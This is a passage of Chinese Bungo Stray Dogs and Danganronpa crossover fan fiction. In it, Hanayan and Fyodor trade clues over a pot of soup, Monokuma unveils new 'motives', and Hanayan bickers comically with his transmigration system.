果戈里显然早就想好了答案,欢快地做出了选择,“娱乐室看起来会很有意思!我想去这里!” 费奥多尔微微点头,看向花言,后者察觉到注视,果断开口。 “我去美术室。” 如果不出意外,在那里应该能捡到有关他们的照片。 “那麽,我去物理实验室。”费奥多尔并不在意选择地点,他迅速定下了计划,“搜查完我们在这里集合。” 三人都没什麽异议,在花言即将带着西格玛转身离去的前一秒,果戈里像是突然意识到了什麽严肃的问题。 “花言,你不会趁我不在,悄悄挑拨我和西格玛之间的关系吧?!” 花言:…… 怎麽说话呢,他是那麽小气的人吗? 他是。 花言当即发出恶毒的攻击,“你们之间的关系难道很好吗?” 一句话将果戈里硬控十秒,他难以置信地回头试图找费奥多尔主持公道。 结果这一回头发现费奥多尔的身影已经消失在走廊拐角,当他想自力更生不依不饶找花言收回那句伤他心的话,却发现花言和西格玛的身形早已消失的无影无踪。 显然,他被所有人抛下了。 果戈里:…… “怎麽这样——” 果戈里故作悲痛的指责顺着走廊传到了已经走出一段距离的花言和西格玛耳中,只不过两人都并未在意,脚步也未停顿半分。 他们一路在美术室门前停下,花言推开眼前美术室的门,西格玛在对方打开门的同时摸到了墙壁上的开关。 伴随着一声清脆的声响,明亮的光线自高处洒落,照亮了里面的布局,无数画框和画板散落在房间中,雪白的墙壁上遍布着乱七八糟的色彩,众多石膏像堆积在墙角,其中甚至还有黑白熊的雕像,看起来就非常不吉利。 美术室内大致可分为两个部分,一个是外部的画室,一个是里面的仓库。 花言穿过画板,直奔目的地。 他回头看向西格玛,后者正警惕地打量着周围,时不时翻看一下抽屉和可疑的画布试图发现什麽有用的线索,很认真地在搜查,没注意到他。 花言收回视线,依照视野内模糊的轮廓握上了仓库的门把手,木门发出一声细微腐朽的嘎吱声,不断被推开的间隙里掀起尘埃。 他左手探向仓库的墙壁打开了灯,视线随意扫过墙面上挂着的木锤,翻找起里面摆放的柜子与抽屉。 如果他记得没错,这里应该会有张照片。 费奥多尔手中的计算机里应该也有张照片,可能还会有些乱七八糟的其他文档信息。 距离对方拿到计算机已经过去了这麽长时间,花言觉得对方一定已经修好了计算机,也破解了其中的文档。 他其实不相信费奥多尔所说的——计算机修好后会第一时间通知他的承诺,毕竟以费奥多尔的能力,不太可能会在一台笔记本计算机上花费那麽多时间维修,因此对方会花费那麽多时间的可能只有想要把他调开,独自一人先确定其中的内容。 他当时会安心离开去食堂,只是因为相信对方所说的——不会再出什麽事,这句话他还是相信的,对方也没有在这句话上骗他的必要。 同样的,他会把果戈里和西格玛引到费奥多尔那边去,不仅仅是为了能够独自一人安静吃饭,也是为了阻碍一下费奥多尔的脚步。 他不确定对方会看见什麽,也不确定对方会因为那些东西而产生怎样的想法。 不过只要找到照片,他就能确认费奥多尔解析计算机文档后究竟会看见哪些内容、自己该如何应对对方了。 为了加快速度,花言合拢了仓库的门,将眼睛上的绷带微微拉起,手中不断拉开抽屉又合拢,直到在某一个抽屉拉开时停下。 空旷的抽屉里仅躺着一张背面朝上的相片,花言毫不犹豫地拿起翻转,映入眼帘的画面让他微微愣了一瞬。 照片中是他完全未曾预想过的画面。 其中的内容无关他们之中任何人的过去,却在某种程度上可能也算有关在场的某些人。 更令花言疑惑的是——照片中出现的身影不仅有在这场自相残杀游戏中的人,还有不在这里的人。 里面的场地像是普通学校的学生会,江户川乱步嘴里咬着巧克力棒坐在桌子上,而与谢野晶子则站在桌子旁边,太宰治慵懒地躺在椅子上将脚架在了桌面,中岛敦站在对方身边,一副无奈的模样,从窗口那里还能看见国木田独步身影,以及对方一脸无力的表情。 这几人全都是一副学生打扮的模样,气息也满是学生独有的清新。 看得花言缓缓陷入了沉思。 他忽然意识到这个世界可能比他想象中的还要乱,怎麽不仅黑白熊出现了,连学院线都出现了? 极度困惑下,他甚至想到了他拿到的光盘,光盘里他像是灭世BOSS大反派,出现的人也都是正常的异能者,怎麽拿到的照片是青春校园档,究竟发生什麽事了?怎麽跨度这麽大? 总该不会是有什麽人拿到了“书”,然后造成了什麽平行世界大乱炖吧?! 第67章 “花言?” 原本在专注搜查美术室的西格玛忽然发现美术室内那道白色身影不知何时已经消失,他猛地推开杂物房的门,在视线触及其中背对着他站在桌前的熟悉身影时松了口气。 幸好对方没事,不然他真不知道该怎麽跟费奥多尔和果戈里解释。 “你发现了什麽吗?” 花言指尖微动,手中的照片被弹进袖中,回头看向西格玛,“没有,你呢?” 宽大的斗篷将细微的动作完全遮掩,西格玛没能察觉到花言的小动作,只觉得对方站在这里发呆有些奇怪,听见这句话,他摇了摇头。 “也没有,没发现什麽特殊的线索,那些石膏像看起来是普通的绘画素材,唯一有价值的可能只有那些不知道出自于谁笔下的画吧。” “可能是上一届学生,或者以往的学生。”花言抬起脚步朝外走去,理所当然地继续补充,“毕竟这里是校园,会有残留的艺术作品很正常。” 西格玛觉得对方说的有道理,在跟上对方脚步前,他还是没忍住下意识再扫了眼杂物房,杂物房里没有任何异常,包括对方之前站着的位置也是。 花言回头看向西格玛,见后者正望着杂物房,为了以防对方察觉什麽,率先转移走了对方注意力。 “走吧,我们去看看他们有没有发现什麽。” 西格玛回过神,没想到对方居然会这麽快就汇合,明明对方都没怎麽看美术室,难道对方这麽相信自己的判断吗? 他有些意外,但也没有劝说些什麽,毕竟——已经有其他人来了。 西格玛目光落在美术室门口推门而入的几人身上。 太宰治抬起眼帘,刚好对上西格玛的目光,他扫过站在对方身侧的花言,眼眸中闪过一丝惊讶。 “你换搭档了啊,花言。” “是啊,我觉得人应该多尝试新鲜事物。” 花言一边带着西格玛朝外走去,一边随口敷衍太宰治。 后者闻言眉梢微挑,嗓音裹挟上揶揄的笑意,“我觉得你这次眼光很好。” “谢谢。” 花言对此不置可否。 西格玛作为同伴很不错,单纯好懂,很难会出现被背叛的可能。 只可惜健康善良的同伴固然省心,但狡猾多变的共犯更加精彩。 在花言与太宰治擦身而过的一瞬间,后者几不可闻地在前者耳边说了些什麽,花言脚步微顿,旋即似没听见般继续离去。 他带着西格玛走到了费奥多尔所说的汇合地点,费奥多尔和果戈里似乎已经到了有一段时间,后者正手舞足蹈地朝前者大倒苦水,指责他有多过分。 “……就是这样,花言他太过分了,对吧?不仅当我面教唆西格玛——想让他跟我反目成仇,甚至还说我们之间的关系不好,怎麽能这样——虽然我跟西格玛才认识了短短……呃一天?还是两天三天,但是我相信我们之间已经结下了深厚的友谊——” 费奥多尔脸上礼貌性的笑容在果戈里的吵闹下近乎维持不住,余光注意到朝这边走过来的花言和西格玛,他当即低声提醒。 “他们来了哦。” 果戈里故作悲伤的诉苦骤然一收,转过身时脸上笑容灿烂,完全看不出刚刚委屈的模样,他激动又热情地挥手。 “花言——西格玛——你们来了,有没有发现什麽——比如说恐怖画像中蕴藏的线索之类的东西?” 花言面无表情地盯着对方没有开口,试图用目光透过双眼上的纱布谴责果戈里背后说坏话的行径。 西格玛代替花言回答,“里面没什麽有用的线索,只有一些乱七八糟的画,应该是以往学生遗留下来的东西。” 他微微顿了顿,看向两人,“你们呢?” “要来猜猜看吗——?!” 提起这个,果戈里兴致勃勃,他故作神秘地拉高音调,想要调动众人的情绪,但看来看去,除了西格玛脸上浮现出了些许没隐藏好的期待之外,剩余两人反应都相当平淡。 果戈里笑眯眯地宣布,“答案是——没有。” 西格玛:…… 他究竟在期待什麽? 果戈里竖起手指抵在唇边,卷土重来,“不过不过,虽然什麽有用的信息都没有,但是我在里面遇见了黑白熊哦——” 这一下花言和费奥多尔的视线投过来了。 花言好奇地询问,“它说了什麽?” 难道黑白熊是看他没有履行‘内奸’的想法了,所以想要找个再找个新的? “它给我介绍了娱乐室里好玩的项目!”果戈里嗓音欢快,“我看过了,里面有趣的东西确实很多,用来打发时间很合适呢!我们要一起去玩玩看吗?” 花言:…… 他究竟在期待什麽…… 费奥多尔:…… 他就知道。 费奥多尔叹了口气,说起了正事,“物理实验室里也没什麽太多值得令人在意的东西,只有一台巨型空气净化器在运作,应该是给这所校园提供氧气的。” 西格玛没忍住吐槽出声,“为什麽要在这种地方这麽严谨啊?” “诶——?”果戈里想到了一个颇具玉石俱焚味道的点子,“如果是给这所校园提供氧气的,就说明这所校园其实是完全密封的吧?那麽——要是被人破坏了的话,岂不是所有人都会窒息而死?!” 费奥多尔很清楚果戈里的言下之意,他提醒道:“没那麽简单,黑白熊看守在那里,它不会让人这麽做的。” 果戈里毫不遮掩地耷拉下了肩膀,看起来相当气馁。 “看起来又陷入了没意思的阶段啊,本来以为能发现些什麽有趣的东西呢——” 费奥多尔看向安静无比的花言,询问对方的想法,“接下来要去哪?” 花言正在思考费奥多尔略过的内容,他知道后者是另一个“内奸”。虽然黑白熊明面上没有因他强行炸开三楼的事情而直接展开报复,但暗地里肯定会做些什麽。 既然对方在调查巨型空气净化器时遇见了黑白熊,那他自然不可能相信黑白熊的出现只是普通提醒费奥多尔不要靠近巨型空气净化器。黑白熊与费奥多尔之间一定有其他交流。 听见对方的询问,花言下意识回忆了一圈,感觉该调查的都调查完了。 如果给他个游戏板面的话,现在主线任务肯定已经空了,支线任务倒是还有一个——太宰治在他离开美术室时跟他说的那句话——对方似乎有什麽计划,想要私下单独跟他聊聊,约他去视听室见面。 这个地点有些特殊,特殊到像是在暗示什麽。 在学级裁判国木田独步的发言里,花言得到了是国木田独步跟太宰治一同搬运他跟费奥多尔进寝室的信息,而在他醒来后,兜里的两张光盘碎片就不见了。 国木田独步为人正直,应该干不出摸人裤兜找钥匙,还带顺手牵羊这种事,因此他的光盘在谁手里已经很明确了。 难不成太宰治的“才能”是“超高校级的修复师”? 把他光盘修复好了? 花言思绪歪了一瞬间,想到了某种相当可怕的可能。 费奥多尔迟迟没有得到花言的回答,他微微歪头,有些疑惑地轻声喊着对方的名字,“花言?” “嗯……”花言回过神,“接下来我们去食……” 那个词汇还没完全说出口,花言猛然想起来什麽,一切思绪都被抛掷脑后,表情瞬间发生变化。 “不好!我的汤!” 来不及过多解释,也来不及看清路况,花言整个人如离铉之箭般冲了出去,哪怕因为视野受阻忘记门只炸出一个洞而撞上栏杆也无暇顾及,他捂着头顽强地跌跌撞撞继续下楼。 花言一路直奔食堂,他用力扒着门框抵消身体的惯性,强行拐弯冲进了后厨打开了锅盖。 好消息,锅没烧穿,他还能继续用。 坏消息,他的汤都烧干了,里面的食材全部糊底,完全没法吃了。 花言只能认命拿起刷子沉痛刷锅,重新再烹饪,一边刷一边不忘咒骂黑白熊。 如果不是对方搞什麽“动力”,要他们去体育馆集合,他现在一定已经美美喝上了,现在他不仅要重新煮,还要刷锅,怎麽想都是黑白熊的错。 当费奥多尔踏进后厨时,看见的就是这麽一副勤勤恳恳的场景。 花言听见脚步声百忙之中抽空侧头看了眼门口,发现只有费奥多尔一个人,手中准备切胡萝卜的动作一顿,“果戈里他们呢?” “果戈里拉着西格玛去娱乐室了。”费奥多尔提起这点也有些无奈。 花言若有所思地点头,将手中的胡萝卜又放了回去,既然西格玛和果戈里不来,那就没必要煮那麽多了。 费奥多尔思索了一会儿,还是走到了对方身边,“我来帮您。” 花言没有拒绝,他翻箱倒柜查找之前调制秘制酱料所需要的调料,费奥多尔站在案板前接替了对方的工作,切着篮子里的食材。 似查找话题般,费奥多尔主动开口,“你有发现什麽吗?” 花言从柜子里翻找到了酱油,他应了一声,一边拿出酱油往碗里倒,一边朝对方伸出左手。 费奥多尔目光落在伸到自己面前的那只手上,对方手中空空如也,但袖子里似乎藏着什麽,往里望去可以看见有一张薄薄的相纸紧贴着白皙的小臂暴露在光芒能够照亮的地方。 他指尖朝里探去,微凉的指尖触及温暖的手腕,由于体温的差异,对方似下意识想要缩回手臂,但这个动作又在下一秒止住,费奥多尔顿了片刻,像是什麽都没发生般,夹住那张相纸抽了出来。 手中翻转相片,他发现这是一张武装侦探社众人的合照,确切来说,像是普通校园中学生会部分成员的合照。 第68章 费奥多尔有些意外,不是意外照片上的内容,而是意外对方居然如此轻易就将所得到的线索告诉自己了。 “您在美术室发现的吗?” “嗯,在美术室的杂物房。” 花言倒完酱油又开始查找糖和盐,回答对方问题的同时,不忘询问,“你呢?除了物理实验室之外,应该还有什麽吧?” 果然是这样。 费奥多尔心底闪过一丝了然。 从花言之前跟黑白熊的对峙来看,前者对这场自相残杀游戏似乎颇为了解,掌握的信息足以威胁到黑白熊,让后者放弃这一轮已经设计好的计谋。 不过从他们在三楼分配调查地点时,对方主动前往美术室的做法来看,了解的又似乎没有那麽透彻,否则对方现在完全没有必要瞒着其他人跟自己交换线索。 对方会如此轻易地主动给自己这张照片,不仅仅是由于他的询问而进行普通的线索交换。 同样也是一种暗示——暗示对方知道计算机文档中可能会出现的内容,希望自己不要欺瞒。以及表达某种歉意——对于在他破解计算机文档时,对方故意将果戈里和西格玛引过来的举动道歉。 这种手段有点熟悉,对方看起来相当了解自己。 费奥多尔眼眸微弯,轻轻笑了一声,“我本来还在想找个机会告诉您计算机中解析出的文档,但是现在看来,您好像早就知道了。” “也不一定。”花言知道对方能够读懂自己的意思,不过这并不妨碍他否认这一点,并且引开话题,“所以你果然已经解析出文档了,我记得……你不是说会第一时间告诉我吗?” 说到最后,花言语气不可避免地参杂上了些许幽怨,试图先发制人指责对方,占领谈话道德高地。 “抱歉,这确实是我的问题。”费奥多尔先是诚恳地道歉,随后又话音一转,“但是您也知道我一直没有能够跟您单独相处的空间,我在解析完刚想去找您时,果戈里和西格玛刚好出现,之后又被黑白熊通知去体育馆……嗯,后面发生的事情您也知道,直到现在我才有机会告诉您。” 花言陷入了沉思。 发现这个说辞好像确实没问题。 费奥多尔见对方左手一勺盐右手一勺糖,在精细调配比例,将手中的照片放在了对方身旁的桌面,说起解析出的文档,“计算机中的东西其实也不多,只有一次事件的记录,以及一张照片。” “事件是这所校园会封闭的缘由,里面记录着最初这里似乎正在进行某项计划,把学生隔离起来,让他们共同开始生活,并且被隔离的学生有可能需要一辈子都呆在校园中。提出这个计划的是这所校园本身——唔,应该是上层的领导吧。” 费奥多尔没有对此发表什麽看法,继续说道。 “而之所以会制定这个计划是因为一年前发生的‘人类史上最大最恶劣的绝望事件’,因为这个事件这所校园也被闭校,并启动了隔离计划,计划负责人是这所校园真正的校长。” 花言安静地听着对方说出的信息与自己脑海中所知道的剧情一点点吻合,“你觉得‘人类史上最大最恶劣的绝望事件’会是什麽?” “战争?”费奥多尔没有说出过程,仅说出了造成的现象。 他侧头看向对方侧脸,纱布代替墨镜遮住了对方脸上近半的情绪,仅能看见对方微微勾起的唇角,像是在赞同他的结论。 费奥多尔视线下移,发现对方手中还在一点点洒落调料,也不知道对方是怎麽在视野模糊到看不清的情况下,还能把控调味品比例调配酱料的。 没有等到对方的回答,费奥多尔也不在意,他语气裹挟上一缕恰到好处的困惑,“除此之外,就只剩下一张照片了。照片是合照,确切来说,是‘我’、涩泽龙彦、太宰治、中岛敦的四人合照——跟您手中的这张一样,是普通学生,背景似乎是在校门口,嗯……照片里涩泽君手中拿着苹果,看起来像是在劝说中岛敦和太宰治答应他什麽事。” 花言有些知道是哪一幕了,如果是学院线背景,费奥多尔和涩泽龙彦是同属一个社团的,而那个社团也只有他们两个人,涩泽龙彦应该是在邀请太宰治和中岛敦加入社团。 “您应该也已经察觉到这里时间上的问题,以及我们记忆都缺了一部分的事实。”费奥多尔观察着对方的表情,缓缓询问,“您觉得这些照片会是真的吗?” “不知道,” 花言调好调料将东西都放了回去,他瞥了一眼费奥多尔切的食材,意外地发现对方切的还不错。 他一边将东西倒下锅,一边继续回答。 “也许等楼层全部开启后,我们就能得出一切的答案了。” 费奥多尔知道对方的心思已经不在他们之间的谈话上了,他无奈地叹了口气,站在一旁静静看着对方专心致志地烹饪料理。 伴随着时间的推移,锅内发出沸腾的咕噜声,在高温的催化下,香气逐渐蔓延。 花言掀开锅盖搅拌了一下,觉得应该可以吃了,盛出一碗先递给了一旁的费奥多尔,后者没有拒绝,在接过后似试探般浅浅抿了一口。 花言看不见对方的具体表情,只能通过询问的方式得到反馈,“怎麽样?” “很不错。”费奥多尔眼眸中笑意加深,“您在这方面似乎很擅长?” “可能是因为……我以前对厨师有某种滤镜吧。” 花言说着沉默了一下,想起自己被各种美食特效欺骗的童年,言简意赅地概括,“后面了解透彻了,才发现也没那麽神奇。” 最起码没有闪闪发光的菜。 费奥多尔表情有些微妙,似没想到对方居然会有这麽好骗的时候。 花言没有再过多跟对方说些什麽,他给自己也盛了一碗汤,还没来得及喝,一旁的墙壁上忽然降下一块屏幕。 黑白熊摇晃着酒杯的身影在其中出现,开口就是已经听腻的——“喂,你们这些家夥,快来体育馆!” 花言有点懒得去,他觉得对方不如把集合的地点改成食堂,这样还省的通知他们。 仿佛是知道花言的想法,黑白熊强调道:“要毫不犹豫地尽快赶来哦!不然的话,我可不确定会发生什麽事情!” 花言沉默了一秒,开始争分夺秒地喝汤,然后猝不及防被烫得发出一声呜咽。 费奥多尔看着对方捂住唇抽气的模样有些欲言又止,觉得对方其实不用这麽着急,但是一想到对方之前煮的汤糊了,这次好不容易煮好还没来得及喝,黑白熊又刚好喊他们集合,忽然觉得对方着急点也正常。 好在花言最终还是顽强地喝够了才跟费奥多尔一同踏进体育馆。 体育馆内没有黑白熊的身影,在讲台的后面是堆成山的、看起来装着某些不为人知货物的木箱,以及两个平行放置在讲台上的盒子。 见所有人都到齐了,讲台上方的天花板打开一角,从中缓缓落下一块电子屏幕,浮现出黑白熊手舞足蹈的身影。 “大家都到齐了,想必你们也都清楚,由于某位同学的捣乱,强行违背了游戏规则,害得我之前给你们精心准备的‘动力’都作废了。” 黑白熊相当有指向性地再次批评了一下花言,才说起正题。 “所以——我只能给你们新的‘动力’!” “首先是这个!”屏幕里的黑白熊遥遥一指,指向屏幕下方的木箱,“欧洲最新研发的武器和药物!” 似乎是为了带给他们更直观的感受,黑白熊弯腰捞起了一把枪展示,“唔噗噗噗,这些武器药物如果没有特定的关系,仅有钱也是买不到的呢。” 体育馆内的森鸥外捏着下巴目光扫过黑白熊手中的枪支,微微颔首,肯定了对方的话,“确实如此。” “不愧是港口mafia首领,果然见多识广。”黑白熊夸奖了一句,将手中的枪抛向一边,掏出了一张白纸,“接下来是这个——只要在上面写上具有因果关系的内容,就会成真的“书页”!” 黑白熊说着翻转了一下,似乎是发现了什麽,故作惊讶地发出一声气音。 “哎呀?这张“书页”好像已经用了一面,让我看看上面写着什麽——‘武装侦探社’?‘绑架人质’?‘犯罪分子’?‘自由意志’?‘天空赌场’?‘天人五衰’……” 黑白熊口中每冒出一个词汇,体育馆内与这些词汇有关联的众人神色就会发生一份变化。 太宰治目光望向费奥多尔,以及后者身边的几人,有些明白为什麽国木田独步他们得到的光盘会展现出那种内容了。 听起来好像是有人得到了“书页”,在上面写下了武装侦探社是犯罪分子之类的内容,篡改了现实,导致一瞬间与全世界为敌,还招来了“猎犬”的追捕。 黑白熊念了一圈,站在椅子上疑惑歪头,“完全看不明白,不过……还有一面能用就是了。” 说着它毫不在意地把“书页”往后一扔,又从下面拿出了一本厚重的书,书的封面没有字,仅有一些意味不明的花纹,它外壳有些陈旧,连带着侧面可以看见的书边都泛着黄,透着时光流逝过的尘封与古老。 “最后是——什麽问题都能得到正确答案的‘世界之书’!”黑白熊坐回椅子上随意翻看了几页,点评道:“听起来无所不知、很神秘的样子。” “先来测试一下好了,不过要测试什麽呢?我好像没有什麽问题……”黑白熊摇头晃脑状似思索,不一会儿两只小圆手一拍,“啊,有了!问一下花言同学的寿命吧,看看他究竟会不会在这场自相残杀游戏里死掉呢——” 黑白熊的恶意不加掩饰地从屏幕里透了出来。 花言面无表情地看着对方一边念着问题,一边翻开书,然后愣在原地。 “哈?未知?这跟答案上写着‘略’有什麽区别?” 没得到想要答案的黑白熊气急败坏地把书丢在地上,然后一通乱踩。 体育馆内的众人沉默地看着屏幕中黑白熊不断跳起又落下,半晌,中原中也没了耐心。 “喂,你把我们喊来到底想干什麽?看你展示收藏吗?” 这一声质问唤回了黑白熊的注意力。 “差点忘记了正事。” 它停下动作,坐回椅子上,不知道从拿掏出手绢擦拭着额头上并不存在的汗,“总之如果有人可以毕业的话,我就把这三样东西当作礼物奉上——虽然这本‘世界之书’看起来并不稳定,不过就当作附带的好了。” “哇哦。”果戈里发出一声感叹,“听起来真慷慨。” 虽然花言觉得黑白熊的这些东西来路不正,但这并不妨碍他赞同果戈里的话。 通知完这个消息,讲台后堆成山的货箱缓缓下降消失,只留下讲台桌面上的两个盒子。 黑白熊挥舞着手帕,表示告别,“如果没有其他问题的话,那麽大家可以开始为了这些礼物而努力挥洒汗水了,我会在暗中鼓励你们的。” 在屏幕也暗下去前,太宰治举起手,指了指被留下的那两个盒子,“校长,我有个问题,那里面是什麽?” “哦,那个啊。”黑白熊随意地说道:“用来包装后面两个礼物的盒子而已,毕竟这两个东西不像武器药物那麽多,如果要用于展示的话,讲台上就会空空如也了,所以放两个盒子,表示一共有三种礼物。” “诶——”果戈里眨了眨眼睛,故作疑惑地明知故问,说出了唯恐天下不乱的话,“提问——!校长,你为什麽要待在屏幕里展示?而不是像以前一样站在我们面前呢?这样不是就不用特意准备盒子了吗——?” 黑白熊:…… 屏幕里的黑白熊沉默许久,像是在试图控制情绪,只可惜最终还是失败了。 它亮出爪子,凶恶地怒斥,“如果没有其他问题,你们这些家夥就继续去玩过家家游戏吧!拜拜!” 屏幕“啪”得一声暗了下去。 体育馆内氛围寂静,不知道是谁发出一声感叹。 “被气走了呢。” 第69章 花言猛地坐起身,盖在身上的被子随着动作滑落,梦境与记忆相融,众多纷飞的思绪中有一个念头脱颖而出,无比清晰。 ——有小偷啊! 这是什麽副本啊?! 偷拿参与者身上的东西就算了,怎麽还好意思作为奖励展现出来的? 普通的奖励机制都是考虑到羊毛出在羊身上,所以为了羊毛愿意投资,而这个不仅薅羊毛、还把羊毛奖励给羊。 仗着他们失忆连吃带拿,简直太过分了! 这黑白熊太抠门了……不对,应该是—— [马路牙子,你设计的副本怎麽一股黑心资本家味?] 【也……也没有啦……】 系统心虚地支支吾吾解释。 【宿主,你想啊,这个地方是专门为了你跟攻略对象创造的,其他人都是被牵连来陪你们,或者说是来当气氛组的,所以从你们两个人身上各出一点东西当作奖励也很正常对吧……就当是送的喜糖了嘛……】 系统这番话说的让花言想吐槽都不知道从何吐起。 他沉默许久,还是先跟对方普及了喜糖的概念。 [‘喜糖’是结婚的时候才会送的,在自相残杀游戏里送喜糖你不觉得有点太地狱笑话了吗?] 说到这里,花言有点怀疑系统是不是升级之后明白了冷笑话的概念,故意用这种方式报复他之前攻击对方听不懂冷笑话的事——告知他现在它不仅听得懂冷笑话,还能玩地狱笑话。 [然后你这个‘喜糖’……] 花言回想了一下堆成山的货箱,又回想了一下被黑白熊念出近半内容的“书页”,感到无比沉痛。 [这两个东西有哪一个是通过正规渠道得到的吗?] 货物是他从港口mafia抢的,“书页”是费奥多尔从异能特务科窃取的。 【好像也是……】 系统沉思了半晌,旋即像是想到了什麽更重要的问题,不确定地开口。 【宿主,如果这些东西所属的主人其实有好几任的话,那这是不是该算份子钱?】 花言:? [你现在当务之急是先下个杀毒软件去去病毒。] 【其实我下了。】 系统有些不高兴,认真为自己正名。 【之前在更新数据库的时候,我有考虑到数据太多混在一起会有病毒产生的风险,所以特意装载了十几个杀毒程序。】 花言:。 难怪呢。 一瞬间,花言觉得对方所有的举动都变得情有可原了起来,甚至包括缝合副本没缝合好——不仅把两个学院混合在了一起,还把两个原学院剧情混合在一起,导致现在白天学院有黑白熊添加的新规则、夜晚得到的情报里有白天学院线剧情的照片,将一切变得一团乱麻的事。 系统在装了十几个杀毒程序的情况下,还能缝合副本已经很了不起了。 [抱歉,原来你已经很努力了。] 花言慈爱地夸奖了对方。 [我原谅你了。] 系统有些不明所以,思考了半天,只当作自家宿主终于明白冤枉自己了。 花言继续询问,[所以最后那本‘世界之书’是什麽东西?] 【是我复制出来、实体化的数据库。】 系统电子音低了下去,像是有些不好意思的扭捏。 【毕竟这个副本是我构建出来的,某种程度上我也参与了,所以特意加进去的、作为给你们的礼物。】 花言回想了一下最后黑白熊在那本书上狂踩的模样,不忍心地提醒。 [那个黑白熊,好像很嫌弃你的礼物啊。] 【那是它不识货!】 提起这一点系统也有点生气。 【我数据库里那麽多东西,偏偏就问了这个没有意义的问题!你是我宿主,我数据库里当然不会有关于你的、连你自己都不知道的信息,我是攻略系统,又不是逆天改命系统,怎麽会知道宿主的未来?!】 原来你也知道你是攻略系统啊…… 花言叹了口气。 [马路牙子,如果下次有机会去升级,记得装一下攻略系统该有的东西,还有把你那十几个杀毒程序卸掉。] 【呃?】 系统发出一声疑惑的单音,不明白为什麽它告诉了自家宿主其实自己安了杀毒程序,对方反而要让自己卸掉。 花言没有再过多解释什麽,他从枕边摸到墨镜戴在眼前,睁开眼下意识先望向费奥多尔那边,意外发现后者也正坐在床上看着他,对方一头稍长的黑发乖顺地垂落在脸颊边,像是在思索着什麽,脸上看不出太多的情绪。 费奥多尔与花言差不多同一时间醒来,梦境也都停留在黑白熊展现完新“动力”的那一刻,他安静地观察着对面的少年一脸震惊与难以置信地猛地坐起身,又随着时间推移逐渐变得无奈,像是接受了这个结果。 黑白熊最后展现出的三样东西里,有两样费奥多尔知道来源于哪——那些货物来源于花言,应该是对方抢的,“书页”来源于他,至于剩下的“世界之书”…… “花言……” 费奥多尔刚启唇说出对方的名字,还未来得及将问题询问出口,只见对方像是知道他想问什麽似的,沉重地点头。 “是的,我遇到小偷了。” 花言觉得费奥多尔肯定是想问他为什麽“书页”会在黑白熊那,这个问题有些不太好解释,总之先抢对方台词再说。 对方都抢他的词了,他抢抢也不过分吧?这叫有来有往,这叫礼尚往来,很合理啊。 “果然是这样吗……” 费奥多尔若有所思地点头。 他有些明白对方会丢失这个平行世界控制权的原因了。 花言与黑白熊之间的针锋相对说明他们是完全对立的两方。对方也曾对他发出过“当外来因素消失,可以一直留在这里”的邀请。 如果他没猜错,这些外来因素应该就是——那场自相残杀游戏以及白天学院内乱七八糟的校规,这些同样也是对方会丢失这个平行世界控制权的原因。 只不过从夜晚的校园规则能够影响到白天校园的规则、以及黑白熊能够随意从他们身上拿取东西来看,这个世界已经被外来因素侵蚀得相当严重了。 他抬起眼帘望向对方,后者不知何时又躺了回去,拉高被子盖住了头,只留下修长的指尖搭在被沿,像是想要再次逃避现实。 费奥多尔沉默了一下,还是问道:“如果方便的话,可以告诉我,那本‘世界之书’是什麽吗?” “没什麽不行的。”花言拉下了被子,似乎是在想该怎麽跟对方解释那个东西,“那个是……呃,各种平行世界、或者说其他世界的各种可能与结局的记录?你可以把它当作是数据库一样的东西,必要的时候,可以通过某种方式将里面的世界投射出来,也可以当作进入那些世界的媒介。” 费奥多尔有些诧异地眨了眨眼睛,“就这麽告诉我,没关系吗?” “没关系。”花言想了想,觉得这个时候好像可以走一下攻略任务,补充道:“因为你问了。” 费奥多尔微微愣了一瞬,听出了对方的言下之意。 对方这像是在说——因为他问了,所以会告诉他。 ——像是有求必应般。 费奥多尔眼眸中浮现出纯粹的笑意,他唇角微弯,意有所指地提醒,“如果仅是因为问了就回答,可是很容易被人骗的。您现在告诉我了那本书的能力,万一我因此精心准备了一场完美犯罪杀您怎麽办?” 老实说,如果费奥多尔对此什麽都不说,花言还会担心一下对方会不会因此杀他,但既然对方现在说出来了,反而证明没有这种想法,最起码没有想要设计杀他的意思。 “那我会期待你能成功毕业?”花言以同样的口吻回答,“最起码不要浪费我的‘牺牲’嘛。” 费奥多尔愉悦地笑了一声。 他没有在对方身上感受到任何担忧与焦急,是因为对方清楚那场自相残杀游戏的内幕,还是因为——他们现在都在一条船上? 从昨晚得到的那两张照片,以及他们在那场游戏里被淘汰之后、在这所学院中产生的变化来看,他们所扮演的角色也已经非常明确了。 他们极有可能是在某种机缘巧合下代替这个世界、身为学生的“自己”,参与了那场自相残杀游戏,从某种角度来说,可能也相当于是在帮助对方共同对抗那个世界。 考虑到他们所取代的身份,或许从始至终,都不存在有人能够成功独自毕业的可能。 目前现有的信息太少,被淘汰后出现的结果也各不相同,一个类似于同化,一个类似于消失,这两种不同结果究竟是什麽原因导致的区别,可能还需要再观察一下。 相比之下,他还有个更在意的问题。 “说起来,它究竟拿了什麽威胁您,会让您那麽生气?” 花言听见这个问题,只觉得这一刻终究还是来了,他刚刚才说过好比只要对方问他就会回答的话,如果现在拒绝回答肯定会显得他像是那种喜欢用甜言蜜语骗人的轻浮之人。 花言叹了口气,还是告诉了对方,“是有关我眼睛的秘密。” “眼睛……?” 哪怕这个答案在费奥多尔的推测之中,但在听见这个结果时,还是有些意外。 对方在失忆时,面对他问起眼睛,回答的是有诅咒。而在没有失忆的白天,却表示没有诅咒。 这两种极端矛盾的回答,再加上昨晚对方不惜暴露成为众矢之的目标也要逼黑白熊更改“动力”行为,让他更好奇对方双眼的秘密了。 “嗯……” 花言从床上坐起身,指尖搭在墨镜上,迟疑地问:“你想知道吗?” 费奥多尔没想到对方愿意主动提及这点,他看出对方的举棋不定,给出了对方足够的拒绝空间,“可以吗?” “可以……吧……?” 花言指腹摩挲着墨镜边缘,在心中努力说服自己跨出那层心理障碍。 如果想要继续攻略对方,那对方迟早会知道这件事的,早点告诉对方,早点给对方心理准备,也能更快的得知对方对这种瞳色的看法…… 更何况他也不能一直戴着墨镜跟对方相处,俗话说眼睛是心灵的窗户,他戴着墨镜岂不等同于在窗户上焊了一层防盗窗?无论是人想出去、还是别人想进来都相当困难,更别提攻略了。 但是……但是,这可是传说中的七彩玛丽苏眼睛啊,比眼睛里有会变形状的图案还要让人难以接受,毕竟通常色彩是会随着光线和自身因素变化的,比会变形状的图案还要变化多端、还要花里胡哨。 费奥多尔看着对方指尖搭在墨镜腿上半天没有进一步举动,脸上的苦恼与犹豫也纠缠在一起近乎化为实质。 他善解人意地退让了一步,给对方留下了更多的拒绝空间。 